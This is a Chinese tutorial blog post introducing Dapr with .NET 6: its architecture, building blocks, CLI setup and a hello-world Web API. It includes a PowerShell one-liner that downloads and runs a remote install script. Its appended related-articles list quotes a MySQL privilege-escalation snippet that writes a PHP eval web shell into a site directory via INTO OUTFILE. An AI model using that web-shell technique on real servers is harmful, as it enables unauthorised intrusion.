使用Dapr和.NET 6.0进行微服务实战:Dapr简介

大家好,我是张飞洪,感谢您的阅读,我会不定期和你分享学习心得,希望我的文章能成为你成长路上的垫脚石,让我们一起精进。

本文是《使用Dapr和.NET 6.0进行微服务实战》的第2篇Dapr简介部分,大致包括:了解Dapr,探索Dapr核心组件,设置Dapr环境,构建Dapr简单示例,闲话不说,我们开始系列旅程吧。

导读

Dapr全称Distributed Application Runtime,翻译过来就是分布式应用程序运行时,在v1.0发布后得到了极大的发展。

本章将向您介绍Dapr架构的核心概念,为您使用Dapr进行开发做好预热和准备工作。

可以这么说,Dapr加速了新的云原生应用的开发,并简化了微服务架构的运用。

在本章中,我们将讨论以下主题:

  • 简单了解Dapr
  • 探索Dapr核心组件
  • 设置Dapr环境
  • 构建Dapr示例

这些主题是后续使用Dapr和微服务架构的基础和理论指导。首先,我们进入开篇的第一步,从Dapr的工作原理开始。

1.简单了解Dapr

Dapr是一个事件驱动的、可移植的运行时,由Microsoft使用开源方法创建的,由云原生计算基金会(CNCF)孵化的项目。

事件驱动(Dapr的定义中强调了这一点)在微服务中扮演着重要的角色;对来自外部系统或第三方的事件作出的反应,同时可以向其他服务转发新的事件。

Dapr是可移植的,它有三种托管模式。首先它可以在本地机器上自托管,也可以部署到边缘,或者在Kubernetes上运行。

下图显示了Dapr提供的许多构建块:

从上图可以看出,Dapr先要运行在微软Azure、亚马逊(AWS)、谷歌云或国内阿里,华为云上都是没问题的。

Dapr建立在微软开发超大规模云原生应用的经验基础上。它的灵感来自Orleans和Service Fabric(服务网格),同时又反哺微软云的大规模运用。

1.1Dapr简史

Dapr于2019年10月首次发布,您可以在这里上了解到。

Dapr在2020年9月,在初始开发阶段采用了开放式治理模式;请参见下面的描述.

Dapr于2021年2月发布了面向生产环境的v1.0版本,请参看这里。2021年11月,Dapr作为孵化项目加入CNCF;请参阅公告

Dapr为开发人员提供了一种面向微服务架构的设计工具和运行时,以便更好地运行我们的应用。

微服务提供了面向高可用,高并发等一系列的好处,但是同时带来了响应的复杂行,比如熔断限流,服务调用监控,负载均衡等,通常会给开发团队带来沉重的负担。

而Dapr运行时刚好可以帮助我们简化以上复杂性操作,我们看看具体如何操作:


(图1.2)
如图1.2所示,它显示了两种Dapr托管模式:Dapr运行时在边车(sidecar)进程中运行,将应用的大部分复杂性提升到一个单独的环境中,这大大简化了开发和操作。这些sidecar进程在您的开发环境的本地运行,或者在Kubernetes的Pod的容器中运行。

从应用程序的角度来看,Dapr是一种应用编程接口(API),可以通过超文本传输协议(HTTP)、远程过程调用(gRPC)直接访问,或者更简单地说,可以通过适用于.NET、Java、Go、Python、PHP、JavaScript、C++和Rust语言的任何软件开发工具包(SDK)直接访问。

当然,你也可以不必采用Dapr SDK(稍后将体验到),对Dapr服务的请求可以像对HTTP调用一样简单,例如:http://localhost:3500/v1.0/invoke//method/。如果您通过Dapr SDK与Dapr交互,或者使用Actor SDK利用Dapr Actor模型,那么使用SDK确实会带来许多好处。

您可以在Dapr文档中了解有关SDK和支持的语言的更多信息,网址。

我们已经了解了Dapr的架构,知道Dapr是什么了,接下来我们要澄清下Dapr不是什么了。

1.2Dapr不是什么

我们从正面了解到了Dapr,也许你对此颇感兴趣,但是我觉得很有必要全面了解Dapr,我们需要介绍一下Dapr不是什么。这使有利我们消除对Dapr产生的误解,如下所示:

  • Dapr不会强迫开发人员接受具有严格规则和约束的编程模型。相反,虽然Dapr把开发人员从微服务架构的复杂性中解放出来,但开发人员并没有被规定要如何编写应用程序。例如,对存储状态的数据库的连接的管理是Dapr的责任(后续的状态管理会看到),当它对微服务应用是透明的。

  • Dapr不是服务网格。虽然Dapr和服务网格可以找到许多相似之处,但Dapr是在应用级别提供能力,而服务网格在基础架构上运行。如果出现冲突或间歇性问题,开发人员有权决定如何处理Dapr可能返回的错误;无论是采用Dapr的重试策略,还是向客户端返回错误,或者补偿操作,这些都是只有开发人员才有权限做出决定。

Dapr旨在与Istio等服务网格集成,这超出了本专栏的范围。

  • Dapr不是Microsoft云服务。它确实帮助开发人员在云中构建微服务应用程序,它当然提供了许多与Azure云服务的集成,但它也为AWS、GCP和其他服务提供了同样多的组件。同时,Azure在具有本机扩展的Azure Kubernetes Service(AKS)、具有Dapr策略的Azure API管理以及具有Dapr本机集成的Azure容器应用程序中确实为Dapr提供了丰富的支持。

  • Dapr不是一种仅限.NET的技术。Dapr本身是用Go语言编写的,任何语言都可以利用它。我们可以使用多种语言的SDK,但也可以选择直接与Dapr API交互,而无需任何额外的SDK库。

注意事项
虽然本专栏偏向.NET,但作为示例,我也会演示Dapr和Python的使用关系。

希望以上介绍能让你对Dapr的了解会更加全面、客观,并为你是否采用这项技术提供选项帮助。接下来,我们将专门介绍Dapr的体系结构。

2.探索Dapr核心组件

Dapr从一开始就被设计为一组可插拔的构建块,开发人员可以依赖该构建块或叫基础设施进行开发,而运维人员可以通过简单地配置就可以让使应用适配其托管环境。

以下是Dapr工具和组件的完整列表:

  • Dapr命令行工具(CLI):用于配置、管理和监视Dapr环境的跨平台命令行工具。它也是用于本地调试Dapr应用的工具。
  • Dapr Helm Charts:提供了在Kubernetes环境中安装和更新Dapr的手段。
  • Dapr API:定义应用如何与Dapr运行时交互,使用其构建块的API。
  • Dapr runtime:这是实现Dapr API的核心。如果您很好奇,可以在Dapr的存储库中查看它是如何开发的.
  • Dapr host:在开发机器上,主机作为独立进程运行;在Kubernetes中,它是应用pod中的一个sidecar容器。
  • Dapr operator:针对Kubernetes模式,该operator用于管理绑定和配置。
  • Dapr sidecar injector(边车注入):一旦在Kubernetes下配置了该服务,它会将Dapr sidecar注入到应用程序的pod中。
  • Dapr placement service:该服务的目的是在Dapr pod中分发(或放置)Actor实例。
  • Dapr Sentry(哨兵):一个内置的证书颁发机构(CA),用于颁发和管理Dapr使用的证书,以提供透明的互传输层安全(mTLS)。

截至目前v1.9版本,Dapr提供了九大构建块(building blocks),微服务开发人员可以根据需求选择性地采用这些构建块,具体如下:

  1. 服务调用(Service invocation):服务调用使我们能够调用位于同一宿主环境中的其他服务,同时处理重试策略。在第4章“服务调用”中会更详细地介绍了这个构建块。
  2. 状态管理(State management):为了将应用状态作为一个简单的键值对进行有效管理。Dapr提供了许多状态存储,包括Redis、Azure Cosmos DB、Azure SQL Server和PostgreSQL,它们可以通过配置插入。在第5章的“状态管理简介”中会详细探讨。
  3. 消息的发布和订阅(pub/sub):pub/sub模式通过交换消息实现微服务之间的解耦通信,服务总线可以在生产者和消费者之间路由消息。在第6章的“发布和订阅”中会详细讨论该构建块。
  4. 资源绑定(Resource bindings):这就是Dapr的事件驱动特性所在。通过绑定,您的应用程序可以通过SMS进行触发(这只是通信API领域的流行服务之一)。第7章“资源绑定”中会更详细地介绍这个构建块。
  5. 参与者(Actors):Actors模式可以理解为单线程模型,旨在通过在大量计算单元(Actors)之间分配总请求量的负载来简化高并发场景,这些计算单元通过一次处理一个Actors的请求,在较小但独立的范围内处理任务。在第8章“使用Actors”中会详聊该构建块。
  6. 可观察性:Dapr使开发人员和运维员能够观察应用和服务的行为,而无需对它们进行检测。第11章“跟踪Dapr应用”中会更详细地介绍了这个构建块。
  7. 安全密钥(Secrets):将安全与代码分开是一种良性的做法。Dapr能够存储密钥,并从Kubernetes或Azure密钥库等其他组件中引用这些密钥。
  8. 配置(Configuration):在Alpha状态的Dapr 1.8版中引入了此构建块,它解决了检索应用程序所需配置数据的常见需求。
  9. 分布式锁(Distributed lock:):Dapr 1.8版在Alpha状态下引入分布式锁,它提供了一种强大的基于租约的机制来管理对命名锁的互斥访问。应用程序可以使用该锁来确保多个并发实例对资源的独占。
    了解了Dapr体系结构和组件后,在开始使用之前,我们需要在我们的开发环境中设置Dapr。

3.设置Dapr环境

Dapr是多个平台和语言的运行时,本专栏的重点是.NET中的C#,并使用Visual Studio Code作为开发工具。
我们使用的开发环境是Windows,如果你需要有关在Linux或macOS上执行特定操作,建议您查看Dapr官方文档。

Dapr路线图

Dapr运行时于2021年2月发布v1.0生产环境版本,我们可以在Dapr官方博客中查看到,Dapr于2021年发布了五个新的次要版本。您可以在Dapr路线图中查看。

本专栏中的示例和脚本已经用Dapr的v1.9进行了更新和测试。

接下来,我们将完成以下步骤:

  • 配置Docker
  • 安装Dapr CLI
  • 安装.NET 6.0
  • 安装VS Code
  • 安装Windows终端
  • 在自托管模式下安装Dapr
  • 在Kubernetes上安装Dapr

配置Docker

Docker的安装很简单,我们可以在以下位置找到运行Docker的详细说明。

安装Dapr CLI

Dapr运行时安装也不难,您可以在此访问安装。

在Windows上,执行以下命令将CLI安装到c:\dapr目录中,并将其添加到用户PATH环境变量中,以便可以从命令行轻松使用工具:
powershell -Command "iwr -useb http://raw.githubusercontent.com/dapr/cli/master/install/install.ps1 | iex"
有关Dapr CLI的更多详细信息,请参阅。

安装.NET 6.0

要安装.NET 6,请参阅,获取最新二进制文件的链接。
.NET 6是.NET的长期支持(LTS)版本,可获得3年免费支持和更新。
在开发机器上,建议安装包含运行时的完整版SDK。安装完成后,我们运行dotnet--info命令进行校验,成功后,您将看到以下输出:

安装VS Code

VS Code是微软的一个很棒的跨平台源码编辑器。您可以按照以下说明免费安装它:跳转。

Dapr扩展

Dapr有一个VS Code的扩展,它有助于导航Dapr本地环境,并简化调试配置,我们强烈建议安装它。

安装Windows终端

推荐一款不错的新的Windows终端Windows Terminal,是一款新式、快速、高效、强大且高效的终端应用程序,适用于命令行工具和命令提示符,PowerShell和 WSL 等 Shell 用户。在接下来的章节中,我们通常必须并行运行多个命令和工具。因此,Windows终端的选项卡功能也是我建议您采用它的原因之一。

在自托管模式下安装Dapr

Dapr可以以两种模式初始化:自托管和Kubernetes。

由于打算用于开发环境,所以这里采用自托管模式,执行Dapr init后,会在本地会默认安装Redis、Dapr placement services和Zipkin。

这里要留意的是Dapr init命令,建议在网络比较好的早晨进行初始化,如果是下午或者晚上,可能会无法成功。

默认情况下,Dapr二进制文件和默认组件位于%USERPROFILE%.dpr\文件夹中。

例如,在本地开发环境中,Dapr打算用于Redis的端口可能已经被占用。在这种情况下,您应该确定哪些进程或容器正在使用该端口,并相应地更改它们。

一旦启动init命令成功,您会看到如下输出:

PS C:\Repos\practical-dapr\chapter01> dapr init
Making the jump to hyperspace...
Installing runtime version 1.8.4
Downloading binaries and setting up components...
Downloaded binaries and completed components set up.
daprd binary has been installed to C:\Users\dabedin\.dapr\bin.
dapr_placement container is running.
dapr_redis container is running.
dapr_zipkin container is running.
Use `docker ps` to check running containers.
Success! Dapr is up and running. To get started, go here: http://aka.ms/dapr-getting-started

我们可以通过docker ps来验证一下是否成功:

PS C:\Repos\practical-dapr\chapter01> docker ps --format "{{.
Image}} - {{.Ports}} - {{.Names}}"
daprio/dapr:1.8.4 - 0.0.0.0:6050->50005/tcp, :::6050->50005/tcp
- dapr_placement
openzipkin/zipkin - 9410/tcp, 0.0.0.0:9411->9411/tcp, :::9411-
>9411/tcp - dapr_zipkin
redis - 0.0.0.0:6379->6379/tcp, :::6379->6379/tcp - dapr_redis

下面是在Linux下的验证:

在Kubernetes上安装Dapr

Dapr专门用于在Kubernetes上执行。在安装了Dapr CLI的开发机器上,可以在Kubernetes集群上设置Dapr:
dapr init -k
或者,您可以使用Helm v3 chart在Kubernetes上安装Dapr。您可以在官网上查看详情。

要验证k8s当中的安装是否成功完成,请执行以下命令
kubectl get pods --namespace dapr-system
Linux下的效果是这样的:

更新Dapr版本

在开发环境是Windows的机器上,Dapr的早期版本已经存在,只需使用我们在上面提到的命令重新安装即可更新CLI。
如官网文档所述,我们必须先卸载Dapr,如下所示:
PS C:\Repos\practical-dapr\chapter01> dapr uninstall --all
更新CLI并卸载Dapr后,我们可以按如下方式重新安装Dapr:
PS C:\Repos\practical-dapr\chapter01> dapr init

切记在早上网络好一点的时候进行初始化,具体原因您懂的。

在执行dapr-init之后,检查dapr版本,我们可以看到CLI和运行时的版本都从1.0向前移动到1.9.5,如以下代码片段所示:

PS C:\Repos\practical-dapr\chapter01> dapr --version
CLI version:  1.9.1 
Runtime version: 1.9.5

我们的Dapr测试环境已启动并正在运行。我们现在准备用我们的第一个示例进行试验。

4.构建Dapr示例

我们将构建一个返回hello world消息的web API。我们选择将所有样本都放在C:\Repos\pactual dapr\文件夹中,并为第一个样本创建了C:\Repos\Pactual dapr_chapter01文件夹。我们的步骤如下:
(1)创建Web API ASP.NET项目

PS C:\Repos\practical-dapr\chapter01> dotnet new webapi -o dapr.microservice.webapi

(2)添加Dapr SDK引用

PS C:\Repos\practical-dapr\chapter01> dotnet add package Dapr.AspNetCore --version 1.9.5

(3)我们用Vs Code打开项目,并对生成的模板做些更改
(4)为了在ASP.NET 6中支持Dapr,我们对Program.cs中的代码进行了一些更改。我们将builder.Services.AddControllers方法更改为builder.Services.addController().AddDapr()。
最后,为了简化代码,我们注释掉app.UseHttpsRedirection()中间件。
最后看下最终的代码:


var builder = WebApplication.CreateBuilder(args);
// Add services to the container.
builder.Services.AddControllers().AddDapr();
// Learn more about configuring Swagger/OpenAPI at http://aka.ms/aspnetcore/swashbuckle
builder.Services.AddEndpointsApiExplorer();
builder.Services.AddSwaggerGen();
var app = builder.Build();
// Configure the HTTP request pipeline.
if (app.Environment.IsDevelopment())
{
    app.UseSwagger();
    app.UseSwaggerUI();
}
//app.UseHttpsRedirection();
app.UseAuthorization();
app.MapControllers();
app.MapSubscribeHandler();
app.Run();

(5)最后,我们添加了一个名为HelloWorldController的控制器,如以下代码片段所示:

[ApiController]
[Route("[controller]")]
public class HelloController : ControllerBase
{
    private readonly ILogger<HelloController> _logger;

    public HelloController(ILogger<HelloController> logger)
    {
        _logger = logger;
    }

    [HttpGet()]
    public ActionResult<string> Get()
    {
        Console.WriteLine("Hello, World.");
        return "Hello, World";
    }
}

以上我们设置了路由和一个Get方法。
(6)为了运行Dapr应用程序,可以使用以下命令:
dapr run --app-id <my app id> --app-port <port of the app> --dapr-http-port <port in Dapr> dotnet run
我们将ASP.NET默认端口设为5000,将Dapr HTTP端口设为5010。以下命令行启动Dapr应用程序:

PS C:\Repos\dapr.microservice.webapi> dapr run --app-id hello-world --app-port 5000 --dapr-http-port 5010 dotnet run

我们在对应的项目目录下执行以上代码,启动Dapr。Dapr将为HTTP使用端口5010,而对于gRPC,它将自动选择一个可用端口。
启动后会在控制台打印日志信息,要确认应用程序在Dapr运行时上下文中正确运行:

Updating metadata for app command: dotnet run
You're up and running! Both Dapr and your app logs will
appear here.

在此阶段,ASP.NET在端口5000上进行监听,Dapr在端口5010上进行监听。为了测试Dapr,我们按如下方式调用curl命令,使用浏览器也可以:

PS C:\Repos\practical-dapr> curl http://localhost:5010/v1.0/invoke/hello-world/method/hello
Hello, World

Dapr返回了这个响应,同时Dapr窗口也会打印结果,如下所示

== APP == Hello, World.

(7)从另一个窗口,让我们验证Dapr服务的详细信息。我们按如下方式打开dapr仪表板,而不是使用dapr list命令
PS C:\Windows\System32> dapr dashboard Dapr Dashboard running on http://localhost:8080
我们可以通过导航到http://localhost:8080显示了hell-world的详细信息:

在本例中,Dapr仪表板仅显示我们在开发机器上运行的示例应用程序。在Kubernetes环境中,它将显示所有正在运行的微服务以及其他组件:

Dapr仪表板显示,部署了Zipkin,Redis,Redis除了做状态存储,还支持消息的发布订阅。
以上就是我们构建的第一个Dapr示例。

5.总结

在本章,您了解了Dapr项目及其组件、构建块和sidecar方法。所有这些概念将在后面的章节中单独深入探讨。同时,我们还演示了在本地开发机器上设置Dapr,准备必要的工具。我们还学习了如何创建一个简单的ASP.NET项目,以及如何配置和检查Dapr,我们还了解了Dapr仪表板,我们可以从中获得Dapr环境的完整和即时视图。
在下一章中,我们将使用环境来学习如何调试Dapr。

6.问题

  1. Dapr提供哪些构建块?
  2. Dapr CLI和Dapr运行时之间的关系是什么?
  3. 如何在本地开发环境中安装Dapr?
  4. 在Kubernetes中,可以采用哪些方法安装Dapr?

7.扩展阅读

  • Dapr 知多少 | 分布式应用运行时圣杰兄的这篇文章,图文并茂地讲述了Dapr核心组件的功能,推荐阅读。
  • Dapr概述:http://docs.dapr.io/concepts/overview/
  • Dapr入门:http://docs.dapr.io/getting-started/
  • Dapr路线图:http://docs.dapr.io/contributing/roadmap/

如果您想提前阅读Dapr系列文章,请移步,这里会优先发布我的最新成果,欢迎您不吝赐教。

希望以上分享对你有所帮助,感谢您的捧场。
微信: 张飞洪[厦门]

QQ群: 共享交流群
我的: 我的视频 知识星球

打赏支持

本文转载于网络 如有侵权请联系删除

相关文章

  • [Doris核心原理] -- FE启动过程原理分析3 -- 初始化Catalog

    本文承接上一篇[Doris核心原理]--FE启动过程原理分析2--启动类PaloFe.java,从上一篇中,我们了解了DorisFe启动类的运行过程,本篇主要讲解DorisFe启动时是如何初始化Catalog.java这个类的.Catalog.java是DorisFe的一个核心类,主要负责以下功能(包括但不限于)元数据初始化、管理等Load任务管理、清理等Export任务管理、清理等事物清理Editlog重放管理Fe角色变更管理回收站任务管理broker管理器资源管理器授权管理分桶数据统计管理动态分区任务管理启动类PaloFe.java是通过调用下面的代码进行初始化的.//initcatalogandwaititbeready Catalog.getCurrentCatalog().initialize(args); Catalog.getCurrentCatalog().waitForReady();复制接下来,我们主要讲解Catalog.getCurrentCatalog().initialize(args)的初始化过程.1.初始化配置的元数据目录信息.元数据目录需要事先创建,如果

  • 识别速度3.6ms/帧!人像抠图、工业质检、遥感识别,用这一个分割模型就够了

    支撑影视人像抠图、医疗影像分析、自动驾驶感知等万亿级市场背后的核心技术是什么?那就要说到顶顶重要的图像分割技术。相比目标检测、图像分类等技术,图像分割需要将每个像素点进行分类,在精细的图像识别任务中不可替代,也是智能视觉算法工程师拥有关键核心竞争力的关键!图1图像分割应用正因如此,DeepLabv3、OCRNet、BiseNetv2、Fast-SCNN等优秀算法层出不穷,然而在实际产业落地过程中往往需要综合考虑硬件性能、精度等多方面因素,对算法的需求也是苛刻的。往往业界算法在保障高识别精度的情况下,就会牺牲算法运行速度;反之追求速度,则会带来精度的大幅度损失。图2各算法速度与精度平衡情况示意 如何能同时实现速度和精度的均衡,在当前云、边、端多场景协同的产业大趋势下高标准满足产业需求,是各届研究人员致力投入的方向。PP-LiteSeg就是这样一个同时兼顾精度与速度的SOTA(业界最佳)语义分割模型。它基于Cityscapes数据集,在1080ti上精度为mIoU72.0时,速度高达273.6FPS,(mIoU77.5时,FPS为102.6),超越现有CVPRSOTA模型STDC,真正实现

  • AB升级(2): AB升级常用的调试方式

    查看当前激活的slot命令adbshellgetpropro.boot.slot_suffix查看升级成功可以查看mainlog中是否有包含以下log来确认整体是否升级成功:11-2512:03:37.71570137013Iupdate_engine_client:INFO:update_engine_client_android.cc(92)onStatusUpdate(UPDATE_STATUS_UPDATED_NEED_REBOOT(6),0)11-2512:03:37.71770137013Iupdate_engine_client:INFO:update_engine_client_android.cc(100)onPayloadApplicationComplete(ErrorCode::kSuccess(0))bootctl命令可以获取当前slot等信息ScreenShot2022-05-26at08.14.32.pngFastboot命令adb reboot bootloaderfastbootset_activea//切到slotAfastbootset_activ

  • Mysql 提权

    phpmyadmin篇利用条件:有足够权限“secure_file_priv”对应的值不能为空且必须默认网站路径利用过程:查询:SHOWVARIABLESLIKE"secure_file_priv"默认网站路径selcet'<?php@eval($_REQUEST[7]);?>'INTOOUTFILE'C:\\phpStudy\\PHPTutoria\\WWW\\5.php'菜刀连接首先已经登陆了phpmyadmin输入语句执行成功##当phpmyadmin不能写入一句话木马的时候;“secure_file_priv”为null为空的时候在mysql中有一种功能general_log是用来记录数据库的每一步操作,但是默认是关闭的需要手动打开利用过程:setglobalgeneral_log="NO";开启mysql日志保存![](https://img-blog.csdnimg.cn/20210113140640143.png?x-oss-process=image/watermark,type

  • 详解pyinstaller生成exe的闪退问题解决方案

    简单模块问题如果在pyinstallerproject.py的过程中,出现:Nomodulenamed‘xxx’ 那就pipinstallxxx就行,比如:$pipinstallwxPythonpypiwin32tornado复制这个pip对应于项目的虚拟环境。 其中wxPython对应Nomodulenamed'wx' 其中pypiwin32对应Nomodulenamed'win32com' 还有个老生常谈的小问题,提一下,避免萌新看的一头雾水,比如有些包有别名,比如你并不能通过pipinstallwx来解决Nomodulenamed'wx'的问题。这需要一些经验,没经验的这些去搜索引擎搜索搜索就知道了,基本解决方法都是pipinstall...,其中...是这个模块的真名。全网唯一答案系列以上都是简单的问题,如果不会出现Nomodulenamedxxx的问题,就不用关心pipinstall了。 再遇到闪退等问题可以加上命令参数-D: pyinstaller-Dproject.py,表示我们打包成一个文件夹,而不仅仅是个ex

  • 基于需求的混合临界分散任务在一个处理器上的调度(CS OS)

    在低临界行为中人为地收紧高临界任务期限的策略已成功地用于混合临界系统的调度。虽然针对隐式截止日期任务系统开发了高效的调度算法,但对于更一般的零星任务则不是这样。本文针对这类混合临界任务系统,提出了一种新的基于需求的可调度性检验方法。我们证明,新测试严格地优于其他已知的基于需求的测试。在此基础上,我们提出了一种新的最后期限紧缩策略,并通过仿真表明,该策略在各种分散任务系统中的调度性能显著优于所有已知的调度算法。原文题目:Demand-basedSchedulingofMixed-CriticalitySporadicTasksonOneProcessor原文:Strategiesthatartificiallytightenhigh-criticalitytaskdeadlinesinlow-criticalitybehaviorshavebeensuccessfullyemployedforschedulingmixed-criticalitysystems.Althoughefficientschedulingalgorithmshavebeendevelopedforimplici

  • 基础教程:8、图解Windows平台下Intellij IDEA安装与配置

    8.1下载与安装(1)打开官方下载地址 http://www.jetbrains.com/idea/download •旗舰版(Ultimate) •社区版(Community) 其中,旗舰版是收费的,社区版则是免费的。两者的区别就是旗舰版比社区版的功能更为齐全! (2)单击下载旗舰版(Ultimate),下载完毕后单击“保存”按钮 (3)运行安装包 (4)用户账户控制,选择“是”按钮 (5)欢迎界面,直接单击“Next”按钮 (6)默认安装目录即可,单击“Next”按钮 (7)安装选项,选择64桌面图标 桌面图标选项代表根据你的电脑选择对应的位数,这里我选择64位。“CreateAssociations”选项代表关联文件,如果你打钩了,以后你双击电脑上的.java文件就会用它打开。这里不需要勾选。最后一个选项代表是否由JetBrain自动下载一个jre,如果之前没有在电脑上配置jre,建议此处勾选上。由于我的JDK是单独安装的,所以这里不勾选了。 勾选关联文件 (8)选择开始菜单,默认即可,单击“Next”按钮 (9)安装完成,单击“Finish” 8.2基本设置8.2

  • 齿轮易创COO刘雨晴在线分享课程,探讨“新零售行业如何收割小程序红利”(二)

    走向冷静期的小程序零售行业参与者如何收割红利?其实小程序,在整个零售过程里,将场景不断蔓延,给智慧零售带来了不可估量的价值。我们把这个场景当成一个完整的生态链,那么这个场必须要去实现四个打通:会员打通:实现会员权益统一,线上线下能识别出是同一个用户,积分优惠保持一致。营销打通:线上线下营销活动、线下采购价格与线上系统价格同步。电商打通:这涉及到商品统一、价格统一、库存统一,物流相关问题。门店打通:通过微信支付、自助收银把门店和构建的“场”能够很顺畅地连接在一起,让用户在线上线下顺畅地完成这种转换和购物体验。小程序真正带来量级机会的是开放了关系链,在此基础上,我们可以选择直接利用小程序关于“人”的链条,进行刺激激活。首先,在拉新的过程中,一定要注意的是,要把线下的人往线上做转化,这是你可以控制的数据。以前的会员,是为了通过充值刺激回购,但现在的会员,我们可以直接通过线上的促销手段,内容提醒去刺激回购。既“社交关系+现代营销手段”、“从高效引流到有效留存”。其次,希望有人去做二次传播分享,就要满足它的这两个心理:利己和利他裂变。裂变的产生一定是基于一些场景之下的,分析其背后的动机然后激发。

  • C#——向上转型

    版权声明:本文为博主原创文章,未经博主允许不得转载。 https://blog.csdn.net/huyuyang6688/article/details/21819771       在学习C#的过程中,一些基础知识比如数据类型、控制结构、数组等都与之前接触的语言大同小异,还能够理解,但是向上转型这个概念还是第一次遇到。       学习了一下后大致理解如下:      向上转型就是将子类转型成父类,对象可以作为它本身的类型使用。      先来看一段代码:publicclassAnimal { publicvirtualvoidEat() { Console.WriteLine("我是动物,我要吃东西!"); } } publicclassBird:Animal { publicoverridevoidEat() { Console.WriteLine("我是鸟,我要吃东西!"); } } classTest { staticvoidMain(string[]args) { Animalanimal=newBird()

  • 基于 Keras 对深度学习模型进行微调的全面指南 Part 2

    本文为AI研习社编译的技术博客,原标题AComprehensiveguidetoFine-tuningDeepLearningModelsinKeras(PartII),作者为FelixYu。 翻译|霍晓燕校对|杨东旭整理|余杭本部分属该两部系列中的第二部分,该系列涵盖了基于Keras对深度学习模型的微调。第一部分阐述微调背后的动机和原理,并简要介绍常用的做法和技巧。本部分将详细地指导如何在Keras中实现对流行模型VGG,Inception和ResNet的微调。为什么选择Keras?Keras是建立在Theano或TensorFlow之上的一个极简的神经网络库。该库允许开发人员快速地将想法原型化。除非你正在做一些涉及制定具有截然不同的激活机制的神经架构的前沿研究,否则Keras将提供构建相当复杂的神经网络所需的所有构建模块。 同时附带了大量的文档和在线资源。硬件说明我强烈建议在涉及繁重计算的Covnet训练时,使用GPU加速。速度差异相当大,我们谈论的GPU大约几小时而CPU需要几天。我推荐使用GTX980Ti或者有点贵的GTX1080,它售价约600美元。Keras微调我已经实现了

  • 干货 | 滴滴出行大区运营经理:滴滴的城市运营方法论

    讲师介绍:刘武新,滴滴出行出租车事业部广州大区运营经理,曾经就职为顺丰速运集团,中国移动,中兴软创科技等公司的数据分析师、项目经理、运营经理等岗位,6+年以上数据分析/数据挖掘,产品运营经验,擅长用户运营、活动运营、数据挖掘等。滴滴2年,经历无数次生死大战,多次内部PK中胜出,2016年所带领运营团队被评为滴滴优秀团队。一、我们来谈谈运营(一)运营约等于谈恋爱1、找对象,拉新比如一个男的看到一个心仪的妹子的时候,他得先搭讪,介绍自己,如我是谁,我也是有车有房一族等。那么这个环节就是我们的拉新:当我们要追求一个人的时候,让对方知道自己的存在肯定是第一步,在运营中,当我们要获取客户的时候,也必须先让对方了解自己的产品,所谓“建立认知”,认知建立的过程,就是我们将产品介绍给用户的过程。2、搞浪漫,促活跃当这个妹子对你也有些好感之后,你得乘胜追击,和妹子得互相看看三观是否相符。也就是当用户下载我们产品之后,运营就会想方设法让产品与用户产生交互,比如做做活动,增加用户使用频率,促进用户真正了解产品,并促进活跃。3、定关系,重体验那么接下来当妹子郑重考虑要不要做你女票时,可能就不仅仅是看你帅不帅,

  • 如何使用CSS伪类选择器

    原文链接:https://www.sitepoint.com/css-is-where-has-pseudo-class-selectors/[1]作者:https://www.sitepoint.com/author/craig-buckler/[2]总览CSS选择器允许你通过类型、属性、位于HTML文档中的位置来选择元素。本教程阐述了三个新选项:is()、:where()和:has()。选择器通常在样式表中使用。下面的示例会找到所有<p>段落元素并将字重更改为粗体:p{ font-weight:bold; } 复制你也可以在JavaScript中使用选择器来找到DOM节点:document.querySelector()[3]返回首个匹配的HTML元素。document.querySelectorAll()[4]返回所有匹配的HTML元素,这些元素位于类数组NodeList[5]中。伪类选择器根据HTML元素的当前状态来定位它们。也许最广为人知的是:hover,它在光标移到一个元素上时应用样式,所以它被用来高亮可点击的链接和按钮。其他受欢迎的选项包括::visited:

  • 腾讯云云访问安全代理请求结构调用方式

    1.服务地址API支持就近地域接入,本产品就近地域接入域名为casb.tencentcloudapi.com,也支持指定地域域名访问,例如广州地域的域名为casb.ap-guangzhou.tencentcloudapi.com。 推荐使用就近地域接入域名。根据调用接口时客户端所在位置,会自动解析到最近的某个具体地域的服务器。例如在广州发起请求,会自动解析到广州的服务器,效果和指定casb.ap-guangzhou.tencentcloudapi.com是一致的。 注意:对时延敏感的业务,建议指定带地域的域名。 注意:域名是API的接入点,并不代表产品或者接口实际提供服务的地域。产品支持的地域列表请在调用方式/公共参数文档中查阅,接口支持的地域请在接口文档输入参数中查阅。 目前支持的域名列表为: 接入地域 域名 就近地域接入(推荐,只支持非金融区) casb.tencentcloudapi.com 华南地区(广州) casb.ap-guangzhou.tencentcloudapi.com 华东地区(上海) casb.ap-shanghai.tencentcloud

  • KMP&amp;Z函数详解

    KMP 一些简单的定义: 真前缀:不是整个字符串的前缀 真后缀:不是整个字符串的后缀 当然不可能这么简单的,来个重要的定义 前缀函数: 给定一个长度为\(n\)的字符串\(s\),其\(前缀函数\)为一个长度为\(n\)的数组\(\pi\),其中\(\pi_i\)表示 如果字串\(s[0...i]\)存在一对相等的真前缀和真后缀\(s[0...k]~and~s[i-(k-1)...i]\),则\(\pi_i\)为这个真前缀(真后缀)的长度\(k\) 如果有不止一对,则\(\pi_i\)为其中最长的一对 若没有最长的,则\(\pi_i=0\) 简而言之,\(\pi_i\)为字串\(s[0...i]\)最长相等的真前缀和真后缀长度 特别的,规定\(\pi_0\)=0 举个例子,对于字符串\(s=\)"\(abcabcd\)",其前缀函数\(\pi=\{0,0,0,1,2,3,0\}\) 考虑如何去求前缀函数,最暴力的做法肯定使\(O(n^3)\)的,枚举前缀位置、真前缀(真后缀)的长度和真前缀(真后缀)的每一位,代码就不放出来了(其实是没写) 优化一 我们发现当\(i+1\)

  • 基于DDDLite的权限管理OpenAuth.net 1.0版正式发布

           距离上一篇OpenAuth.net的文章已经有5个多月了,在这段时间里项目得到了很多朋友的认可,开源中国上面的Star数接近300,于是坚定了我做下去的信心。最近稍微清闲点,正式推出1.0版,并在阿里云上部署了一个在线演示(文章结尾处给出在线演示链接)。相比刚开始时的版本,现在整个架构已经稳定,系统功能性,代码可读性维护性都有质的飞跃。        本文主要介绍系统结构及未来一段时间的开发计划。 项目简介        本项目采用经典DDD架构(用沃恩.弗农大神的话,其实这是DDD-Lite)思想进行开发的一套符合国情的基于用户和角色的RBAC系统,系统的产生原因及与众不同的地方可以参考:领域驱动设计实战—基于DDDLite的权限管理OpenAuth.net,这里就不过多介绍。项目地址: https://git.oschina.net/yubaolee/Open

  • VS2017源代码版本管理

